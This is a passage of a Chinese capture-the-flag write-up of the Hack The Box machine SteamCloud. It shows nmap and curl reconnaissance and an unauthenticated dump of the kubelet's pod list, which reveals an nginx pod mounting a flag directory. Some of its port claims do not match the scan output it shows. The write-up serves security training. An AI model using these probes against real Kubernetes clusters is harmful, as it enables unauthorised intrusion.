HTB-SteamCloud笔记

admin 2023年11月23日22:44:02评论32 views字数 56124阅读187分4秒阅读模式

HTB-SteamCloud笔记

学到的技能

  • 利用Kubernetes

首先扫描靶机

# nmap -sC -sV -T5 -Pn 10.10.11.133Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-29 16:01 CSTWarning: 10.10.11.133 giving up on port because retransmission cap hit (2).Stats: 0:02:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 50.00% done; ETC: 16:05 (0:01:31 remaining)Stats: 0:02:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 50.00% done; ETC: 16:05 (0:01:37 remaining)Nmap scan report for 10.10.11.133Host is up (0.27s latency).Not shown: 997 closed tcp ports (reset)PORT     STATE    SERVICE       VERSION22/tcp   open     ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: |   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)992/tcp  filtered telnets8443/tcp open     ssl/https-alt|_http-title: Site doesn't have a title (application/json).| tls-alpn: |   h2|_  http/1.1|_ssl-date: TLS randomness does not represent time| fingerprint-strings: |   FourOhFourRequest: |     HTTP/1.0 403 Forbidden|     Audit-Id: 5f3aab53-5357-4a0e-aa92-d0fba52ca427|     Cache-Control: no-cache, private|     Content-Type: application/json|     X-Content-Type-Options: nosniff|     X-Kubernetes-Pf-Flowschema-Uid: a587146a-f263-4d1c-8541-9ae4f6f3299a|     X-Kubernetes-Pf-Prioritylevel-Uid: 5a2b4c44-2905-4982-bad3-d6aac2e020fe|     Date: Sat, 29 Jul 2023 08:02:55 GMT|     Content-Length: 212|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}|   GetRequest: |     HTTP/1.0 403 Forbidden|     Audit-Id: 7a08f769-8743-4f36-b862-84293db18fb0|     Cache-Control: no-cache, private|     Content-Type: application/json|     X-Content-Type-Options: nosniff|     X-Kubernetes-Pf-Flowschema-Uid: a587146a-f263-4d1c-8541-9ae4f6f3299a|     X-Kubernetes-Pf-Prioritylevel-Uid: 5a2b4c44-2905-4982-bad3-d6aac2e020fe|     Date: Sat, 29 Jul 2023 08:02:51 GMT|     Content-Length: 185|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}|   HTTPOptions: |     HTTP/1.0 403 Forbidden|     Audit-Id: b8b72f88-b966-4105-bb57-d5e795c1bc51|     Cache-Control: no-cache, private|     Content-Type: application/json|     X-Content-Type-Options: nosniff|     X-Kubernetes-Pf-Flowschema-Uid: a587146a-f263-4d1c-8541-9ae4f6f3299a|     X-Kubernetes-Pf-Prioritylevel-Uid: 5a2b4c44-2905-4982-bad3-d6aac2e020fe|     Date: Sat, 29 Jul 2023 08:02:53 GMT|     Content-Length: 189|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}| ssl-cert: Subject: commonName=minikube/organizationName=system:masters| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1| Not valid before: 2023-07-27T04:18:21|_Not valid after:  2026-07-27T04:18:211 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8443-TCP:V=7.94%T=SSL%I=7%D=7/29%Time=64C4C7AB%P=x86_64-pc-linux-gnSF:u%r(GetRequest,22F,"HTTP/1.0x20403x20ForbiddenrnAudit-Id:x207a08fSF:769-8743-4f36-b862-84293db18fb0rnCache-Control:x20no-cache,x20privaSF:ternContent-Type:x20application/jsonrnX-Content-Type-Options:x20nSF:osniffrnX-Kubernetes-Pf-Flowschema-Uid:x20a587146a-f263-4d1c-8541-9aSF:e4f6f3299arnX-Kubernetes-Pf-Prioritylevel-Uid:x205a2b4c44-2905-4982-SF:bad3-d6aac2e020fernDate:x20Sat,x2029x20Julx202023x2008:02:51x20SF:GMTrnContent-Length:x20185rnrn{"kind":"Status","apiVersionSF:":"v1","metadata":{},"status":"Failure","message":"forbiddenSF::x20Userx20\"system:anonymous\"x20cannotx20getx20pathx20\"/SF:\"","reason":"Forbidden","details":{},"code":403}n")%r(HTTPSF:Options,233,"HTTP/1.0x20403x20ForbiddenrnAudit-Id:x20b8b72f88-b96SF:6-4105-bb57-d5e795c1bc51rnCache-Control:x20no-cache,x20privaternCSF:ontent-Type:x20application/jsonrnX-Content-Type-Options:x20nosniffSF:rnX-Kubernetes-Pf-Flowschema-Uid:x20a587146a-f263-4d1c-8541-9ae4f6f32SF:99arnX-Kubernetes-Pf-Prioritylevel-Uid:x205a2b4c44-2905-4982-bad3-d6SF:aac2e020fernDate:x20Sat,x2029x20Julx202023x2008:02:53x20GMTrnSF:Content-Length:x20189rnrn{"kind":"Status","apiVersion":"v1SF:","metadata":{},"status":"Failure","message":"forbidden:x20UsSF:erx20\"system:anonymous\"x20cannotx20optionsx20pathx20\"/\SF:"","reason":"Forbidden","details":{},"code":403}n")%r(FourOhFSF:ourRequest,24A,"HTTP/1.0x20403x20ForbiddenrnAudit-Id:x205f3aab53-SF:5357-4a0e-aa92-d0fba52ca427rnCache-Control:x20no-cache,x20privaterSF:nContent-Type:x20application/jsonrnX-Content-Type-Options:x20nosniSF:ffrnX-Kubernetes-Pf-Flowschema-Uid:x20a587146a-f263-4d1c-8541-9ae4f6SF:f3299arnX-Kubernetes-Pf-Prioritylevel-Uid:x205a2b4c44-2905-4982-bad3SF:-d6aac2e020fernDate:x20Sat,x2029x20Julx202023x2008:02:55x20GMTSF:rnContent-Length:x20212rnrn{"kind":"Status","apiVersion":"SF:v1","metadata":{},"status":"Failure","message":"forbidden:x2SF:0Userx20\"system:anonymous\"x20cannotx20getx20pathx20\"/niceSF:x20ports,/Trinity.txt.bak\"","reason":"Forbidden","details"SF::{},"code":403}n");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTB-SteamCloud笔记

Nmap显示了几个有趣的端口,SSH默认为端口22。Etcd,一个kubernetes组件,作为客户端在端口2379上侦听,作为服务器在端口2380上侦听。Kubelet是一个kubernetes扩展,默认情况下监听端口10250,kubernetesneneneba API监听端口8443。让我们来看看Kubernetes API,它可以在8443端口上访问

# curl https://10.10.11.133:8443/ -k  {  "kind": "Status",  "apiVersion": "v1",  "metadata": {      },  "status": "Failure",  "message": "forbidden: User "system:anonymous" cannot get path "/"",  "reason": "Forbidden",  "details": {      },  "code": 403}

HTB-SteamCloud笔记

输出显示,如果不首先进行身份验证,我们就无法访问主路径,因此让我们继续使用Kubelet服务,该服务正在10250端口侦听

# curl https://10.10.11.133:10250/pods -k{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"storage-provisioner","namespace":"kube-system","uid":"95a97f99-94a1-482f-9c23-ca59c9eefb50","resourceVersion":"403","creationTimestamp":"2023-07-28T04:18:47Z","labels":{"addonmanager.kubernetes.io/mode":"Reconcile","integration-test":"storage-provisioner"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"labels":{"addonmanager.kubernetes.io/mode":"Reconcile","integration-test":"storage-provisioner"},"name":"storage-provisioner","namespace":"kube-system"},"spec":{"containers":[{"command":["/storage-provisioner"],"image":"gcr.io/k8s-minikube/storage-provisioner:v5","imagePullPolicy":"IfNotPresent","name":"storage-provisioner","volumeMounts":[{"mountPath":"/tmp","name":"tmp"}]}],"hostNetwork":true,"serviceAccountName":"storage-provisioner","volumes":[{"hostPath":{"path":"/tmp","type":"Directory"},"name":"tmp"}]}}n","kubernetes.io/config.seen":"2023-07-28T00:18:56.448859734-04:00","kubernetes.io/config.source":"api"},"managedFields":[{"manager":"kube-scheduler","operation":"Update","apiVersion":"v1","time":"2023-07-28T04:18:47Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{".":{},"k:{"type":"PodScheduled"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:message":{},"f:reason":{},"f:status":{},"f:type":{}}}}},"subresource":"status"},{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"v1","time":"2023-07-28T04:18:47Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}},"f:labels":{".":{},"f:addonmanager.kubernetes.io/mode":{},"f:integration-test":{}}},"f:spec":{"f:containers":{"k:{"name":"storage-provisioner"}":{".":{},"f:command":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{"mountPath":"/tmp"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:hostNetwork":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:volumes":{".":{},"k:{"name":"tmp"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"tmp","hostPath":{"path":"/tmp","type":"Directory"}},{"name":"kube-api-access-67r6b","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"storage-provisioner","image":"gcr.io/k8s-minikube/storage-provisioner:v5","command":["/storage-provisioner"],"resources":{},"volumeMounts":[{"name":"tmp","mountPath":"/tmp"},{"name":"kube-api-access-67r6b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"storage-provisioner","serviceAccount":"storage-provisioner","nodeName":"steamcloud","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:56Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:29Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:29Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:56Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:56Z","containerStatuses":[{"name":"storage-provisioner","state":{"running":{"startedAt":"2023-07-28T04:19:28Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2023-07-28T04:18:57Z","finishedAt":"2023-07-28T04:19:27Z","containerID":"docker://38a076a983765944ecb1a7721ac704f56bd7929fadad3004c77eeced26c4ba03"}},"ready":true,"restartCount":1,"image":"gcr.io/k8s-minikube/storage-provisioner:v5","imageID":"docker-pullable://gcr.io/k8s-minikube/storage-provisioner@sha256:18eb69d1418e854ad5a19e399310e52808a8321e4c441c1dddad8977a0d7a944","containerID":"docker://3d3b4304d379a2012ea3f7bf0d91909d58afc35f0cbe5256ddb8191e48a53356","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-proxy-tf5vv","generateName":"kube-proxy-","namespace":"kube-system","uid":"166f854a-4cae-4b1d-84cd-7256f8860480","resourceVersion":"440","creationTimestamp":"2023-07-28T04:18:57Z","labels":{"controller-revision-hash":"674d79d6f9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2023-07-28T00:18:57.326174364-04:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"b734634b-51fd-4ae2-a4d8-ca75a9d2bdec","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-07-28T04:18:57Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:controller-revision-hash":{},"f:k8s-app":{},"f:pod-template-generation":{}},"f:ownerReferences":{".":{},"k:{"uid":"b734634b-51fd-4ae2-a4d8-ca75a9d2bdec"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{"name":"kube-proxy"}":{".":{},"f:command":{},"f:env":{".":{},"k:{"name":"NODE_NAME"}":{".":{},"f:name":{},"f:valueFrom":{".":{},"f:fieldRef":{}}}},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:securityContext":{".":{},"f:privileged":{}},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{"mountPath":"/lib/modules"}":{".":{},"f:mountPath":{},"f:name":{},"f:readOnly":{}},"k:{"mountPath":"/run/xtables.lock"}":{".":{},"f:mountPath":{},"f:name":{}},"k:{"mountPath":"/var/lib/kube-proxy"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:hostNetwork":{},"f:nodeSelector":{},"f:priorityClassName":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:tolerations":{},"f:volumes":{".":{},"k:{"name":"kube-proxy"}":{".":{},"f:configMap":{".":{},"f:defaultMode":{},"f:name":{}},"f:name":{}},"k:{"name":"lib-modules"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}},"k:{"name":"xtables-lock"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-api-access-zdf7b","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"k8s.gcr.io/kube-proxy:v1.22.3","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-api-access-zdf7b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"steamcloud","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["steamcloud"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:57Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:58Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:58Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:57Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:57Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2023-07-28T04:18:58Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/kube-proxy:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-proxy@sha256:8d0561b2e5d0ccb9c49a25e7b415bef12637a07a872703dc252c2de3b458fc4f","containerID":"docker://37e68b2d4cce45b8521ac79e675798308173468b16b395b502f6ecaaa93b834b","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"coredns-78fcd69978-tvz4v","generateName":"coredns-78fcd69978-","namespace":"kube-system","uid":"b4027d8f-04eb-4d86-a1b9-97fca76f2768","resourceVersion":"449","creationTimestamp":"2023-07-28T04:18:57Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"78fcd69978"},"annotations":{"kubernetes.io/config.seen":"2023-07-28T00:18:57.372791450-04:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-78fcd69978","uid":"3b11c900-ebb6-40c9-a630-73de287f85cb","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-07-28T04:18:57Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{"uid":"3b11c900-ebb6-40c9-a630-73de287f85cb"}":{}}},"f:spec":{"f:containers":{"k:{"name":"coredns"}":{".":{},"f:args":{},"f:image":{},"f:imagePullPolicy":{},"f:livenessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:initialDelaySeconds":{},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:name":{},"f:ports":{".":{},"k:{"containerPort":53,"protocol":"TCP"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{"containerPort":53,"protocol":"UDP"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{"containerPort":9153,"protocol":"TCP"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}}},"f:readinessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:resources":{".":{},"f:limits":{".":{},"f:memory":{}},"f:requests":{".":{},"f:cpu":{},"f:memory":{}}},"f:securityContext":{".":{},"f:allowPrivilegeEscalation":{},"f:capabilities":{".":{},"f:add":{},"f:drop":{}},"f:readOnlyRootFilesystem":{}},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{"mountPath":"/etc/coredns"}":{".":{},"f:mountPath":{},"f:name":{},"f:readOnly":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:nodeSelector":{},"f:priorityClassName":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:tolerations":{},"f:volumes":{".":{},"k:{"name":"config-volume"}":{".":{},"f:configMap":{".":{},"f:defaultMode":{},"f:items":{},"f:name":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"config-volume","configMap":{"name":"coredns","items":[{"key":"Corefile","path":"Corefile"}],"defaultMode":420}},{"name":"kube-api-access-g9m9s","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"coredns","image":"k8s.gcr.io/coredns/coredns:v1.8.4","args":["-conf","/etc/coredns/Corefile"],"ports":[{"name":"dns","containerPort":53,"protocol":"UDP"},{"name":"dns-tcp","containerPort":53,"protocol":"TCP"},{"name":"metrics","containerPort":9153,"protocol":"TCP"}],"resources":{"limits":{"memory":"170Mi"},"requests":{"cpu":"100m","memory":"70Mi"}},"volumeMounts":[{"name":"config-volume","readOnly":true,"mountPath":"/etc/coredns"},{"name":"kube-api-access-g9m9s","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"livenessProbe":{"httpGet":{"path":"/health","port":8080,"scheme":"HTTP"},"initialDelaySeconds":60,"timeoutSeconds":5,"periodSeconds":10,"successThreshold":1,"failureThreshold":5},"readinessProbe":{"httpGet":{"path":"/ready","port":8181,"scheme":"HTTP"},"timeoutSeconds":1,"periodSeconds":10,"successThreshold":1,"failureThreshold":3},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"capabilities":{"add":["NET_BIND_SERVICE"],"drop":["all"]},"readOnlyRootFilesystem":true,"allowPrivilegeEscalation":false}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"Default","nodeSelector":{"kubernetes.io/os":"linux"},"serviceAccountName":"coredns","serviceAccount":"coredns","nodeName":"steamcloud","securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"key":"node-role.kubernetes.io/master","effect":"NoSchedule"},{"key":"node-role.kubernetes.io/control-plane","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priorityClassName":"system-cluster-critical","priority":2000000000,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:57Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:32Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:32Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:57Z"}],"hostIP":"10.10.11.133","podIP":"172.17.0.2","podIPs":[{"ip":"172.17.0.2"}],"startTime":"2023-07-28T04:18:57Z","containerStatuses":[{"name":"coredns","state":{"running":{"startedAt":"2023-07-28T04:18:58Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/coredns/coredns:v1.8.4","imageID":"docker-pullable://k8s.gcr.io/coredns/coredns@sha256:6e5a02c21641597998b4be7cb5eb1e7b02c0d8d23cce4dd09f4682d463798890","containerID":"docker://a556d2e7109699bcbb750df74c696ace26c12ab33f285b7c2a994e94d691fb7e","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"nginx","namespace":"default","uid":"d616260f-80db-46bd-bbec-2c657c06a3dd","resourceVersion":"478","creationTimestamp":"2023-07-28T04:19:01Z","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}n","kubernetes.io/config.seen":"2023-07-28T00:19:02.006082864-04:00","kubernetes.io/config.source":"api"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"v1","time":"2023-07-28T04:19:01Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{"f:containers":{"k:{"name":"nginx"}":{".":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{"mountPath":"/root"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:terminationGracePeriodSeconds":{},"f:volumes":{".":{},"k:{"name":"flag"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"flag","hostPath":{"path":"/opt/flag","type":""}},{"name":"kube-api-access-kw5l4","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"nginx","image":"nginx:1.14.2","resources":{},"volumeMounts":[{"name":"flag","mountPath":"/root"},{"name":"kube-api-access-kw5l4","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"Never"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"steamcloud","securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:02Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:03Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:03Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:19:02Z"}],"hostIP":"10.10.11.133","podIP":"172.17.0.3","podIPs":[{"ip":"172.17.0.3"}],"startTime":"2023-07-28T04:19:02Z","containerStatuses":[{"name":"nginx","state":{"running":{"startedAt":"2023-07-28T04:19:02Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"nginx:1.14.2","imageID":"docker-pullable://nginx@sha256:f7988fb6c02e0ce69257d9bd9cf37ae20a60f1df7563c3a2a6abe24160306b8d","containerID":"docker://90d4442cc1c1e23fe14f01918c019181157d619c96d4966a212ef20c3b6caf1b","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"etcd-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-steamcloud","uid":"967b9bee71f2e3cec06ff1dbde2a2a19","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/etcd.advertise-client-urls":"https://10.10.11.133:2379","kubernetes.io/config.hash":"967b9bee71f2e3cec06ff1dbde2a2a19","kubernetes.io/config.seen":"2023-07-28T00:18:48.449492417-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/var/lib/minikube/certs/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/minikube/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"k8s